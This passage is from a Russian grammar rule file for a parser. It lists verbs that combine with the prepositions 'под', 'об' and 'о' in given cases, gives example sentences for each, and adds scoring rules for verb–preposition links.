rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
